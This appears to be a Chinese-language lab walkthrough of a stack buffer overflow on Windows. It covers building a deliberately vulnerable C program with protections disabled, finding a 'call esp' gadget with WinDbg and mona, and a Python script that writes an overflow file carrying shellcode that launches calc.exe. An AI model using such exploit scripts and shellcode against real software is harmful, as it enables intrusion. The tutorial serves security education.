Exploitme1——栈上执行Shellcode

参考链接

环境准备

  • visual studio : windows上还是得用这个,mingw不够友好

    • 配置:修改配置时,记得正确调整配置模式和平台,这里选用 所有配置+所有平台。

      • 禁用安全检查 /GS-(配置属性—>C/C++—>代码生成—>安全检查)
      • 关闭数据执行保护 /NXCOMPAT:NO (配置属性—>链接器—>高级—>数据执行保护(DEP))
      • 关闭随机基址 /DYNAMICBASE:NO (配置属性—>链接器—>高级—>数据执行保护(DEP))
    • 技巧:

      • 启动调试后,(已默认开启地址级调试)可以通过 调试—>窗口—>反汇编 查看程序的反汇编,快捷键 ctrl+alt+d
  • windbg : windows上绕不过去的调试器,早上手早熟练;

    • 如果使用windows商店下载的windbg,虽然好看,但需要解决权限问题,比较麻烦(后面需要往windbg文件夹里添加文件,或者复制一份到普通目录下),权限问题解决

    • 也可以下载 WDK,使用里面带的 windbg,下载链接:WDK 下载

  • python2 : 建议从官网下载2.7.18安装版,如果使用pyenv或其他python版本管理工具下载便携版,后面可能会因为缺少注册表项出问题(比如找不到python或者failed to load python module)

    • 下载链接:Python Releases for Windows | Python.org 注意32位还是64位需要和使用的windbg保持一致

    • 之后下安装pykd包,不然运行插件后会出现“Do not run this script outside of a debugger !”,命令和下面相似

      1
      PS C:\Python27\Scripts> .\pip.exe install pykd
  • mona 插件

    • 下载链接:corelan/windbglib
    • 如果上面下载的pykd.pyd没办法使用,可以从这里下载 pykd_ext,将解压后得到的 pykd.dll 放到对应目录即可。

开始实验

漏洞程序

一个存在漏洞的c/c++程序:

1
2
3
4
5
6
7
8
9
#include <cstdio>

int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}

如果运行程序后,输入的字符超过32个,比如32个“a”+4个“b“+4个”c”

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

会出现以下情况

  • debug模式下,运行时检查会检查到输入过长破坏了name变量

  • release模式下

    • 运行,以非0的错误代码(如-1073741819)退出

    • 调试,显示触发异常的地址为 0x63636363,符合预期

      未经处理的异常

为了方便,之后我们只在release模式下运行即可。

为了更简洁地描述,我们修改程序,让文本内容可从文件name.dat中被读取,编译后运行结果和上面一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <cstdio>

int main() {
char name[32];
printf("Reading name from file...\n");

FILE *f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb"); # 注意要使用绝对路径,不然下面使用的windbg找不到该文件
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);

printf("Hi, %s!\n", name);
return 0;
}

name.dat:

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

使用 windbg 进行调试

使用windbg加载上面生成的程序Exploitme.exe,按F5或输入命令g,得到以下报错信息

1
2
3
4
5
6
7
8
0:000> g
(31e0.4f48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0067b000 ecx=0fce700e edx=755d0334 esi=00c868e8 edi=00c8c2a8
eip=63636363 esp=008ff888 ebp=62626262 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
63636363 ?? ???

查看栈内存,我们希望cccc指向cccc之后的这块内存(当执行完main函数中的ret后,ESP寄存器的值刚好指向这里),我们会在这里填充shellcode。但由于ASLR(地址空间布局随机化,简称地址随机化),两次的ESP值不同,也就意味着我们无法将 cccc 替换为一个固定的地址。

aslr-for-stack

不过,可以将 cccc 替换为一个指向 jmp ESP 指令的地址(代码段的指令的地址是固定的),程序执行流就会变成

1
ret ——> jmp ESP --> [shellcode]

使用mona

为了寻找 jmp ESP 指令的地址,我们可以使用 mona 插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> .load pykd
0:000> !pykd.info

pykd bootstrapper version: 2.0.0.24

Installed python:

Version: Status: Image:
------------------------------------------------------------------------------
* 2.7 x86-32 Loaded C:\Windows\SYSTEM32\python27.dll # 注意要选用python2,如果默认指向了python3,可使用 !pykd.select -2.7进行切换


0:000> !py mona jmp -r ESP -m ntdll.dll # 尝试了 kernel32.dll 没找到符合要求得指令,在 ntdll.dll 中找到了

** You are running pykd.pyd v0.3.4.15. Use at your own risk **

Hold on...

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
- Number of pointers of type 'call esp' : 1
- Number of pointers of type 'push esp # ret ' : 4
[+] Results :
0x77bece33 | 0x77bece33 (b+0x0010ce33) : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140
0x77afb318 | 0x77afb318 (b+0x0001b318) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140
0x77afc712 | 0x77afc712 (b+0x0001c712) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140
0x77bbd1f8 | 0x77bbd1f8 (b+0x000dd1f8) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140
0x77bbd250 | 0x77bbd250 (b+0x000dd250) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140
Found a total of 5 pointers

[+] This mona.py action took 0:00:00.759000

mona没有找到 jmp ESP指令,但找到了功能基本一致的call ESPpush esp; ret指令(这两种指令执行后,ESP的值不同,不过对我们影响不大),都能够将执行流引导至shellcode

我们使用上面找的call esp指令,其地址为 0x77bece33(系统重启前有效,详情见 ASLR in Windows

编写攻击脚本

编写python脚本 exp1.py,修改name.dat中的内容

1
2
3
4
5
6
# python3
with open('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat', 'wb') as f:
ret_eip = b'\x33\xce\xbe\x77' # 小端序
shellcode = b'\xcc' # 调试模式下会在此中断
name = b'a'*32 + b'b'*4 + ret_eip + shellcode
f.write(name)

回到visual studio,release模式下进行调试,main返回后,出现以下弹窗:

0xcc

说明测试成功。

下面将 “\xcc” 替换为真正的 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# python3
with open('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat', 'wb') as f:
ret_eip = b'\x33\xce\xbe\x77' # 小端序
shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
b"\x30\x03\xc6\xeb\xdd")
name = b'a'*32 + b'b'*4 + ret_eip + shellcode
f.write(name)

其中,shellcode由以下程序得到,转换原理见 Create Shellcode in Windows

1
2
3
4
5
6
7
8
9
10
11
12
13
#define HASH_ExitThread             0x4b3153e0
#define HASH_WinExec 0x7bb4c07f

int entryPoint() {
DefineFuncPtr(WinExec);
DefineFuncPtr(ExitThread);

char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; // makes our shellcode shorter
My_WinExec(calc, SW_SHOW);
My_ExitThread(0);

return 0;
}

之后在release模式下运行程序,成功执行shellcode,弹出了一个计算器:

pwn

复现补充(栈空间不足解决方案)

在一次复现的时候,出现以下情况,程序在执行fread的过程中出错(存在随机性):

fread_fault

这可能是因为栈上的空间不足,fread在读入数据时将栈底覆盖,导致程序出错。

解决方法为,将漏洞程序修改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <cstdio>

_declspec(noinline) int old_main() {
char name[32];
printf("Reading name from file...\n");

FILE *f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);

printf("Hi, %s!\n", name);
return 0;
}

// (1)(2)两点都是用来禁用优化的,有时候只用其中一个就能起到效果,有时候需要两个一起(取决于VS版本)
#pragma optimize( "", off ) // (1)关闭编译器优化
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i) // (2)for循环中使用moreStack避免它被优化
moreStack[i] = i;
return old_main();
}

之后,再次运行,便可成功弹出计算器。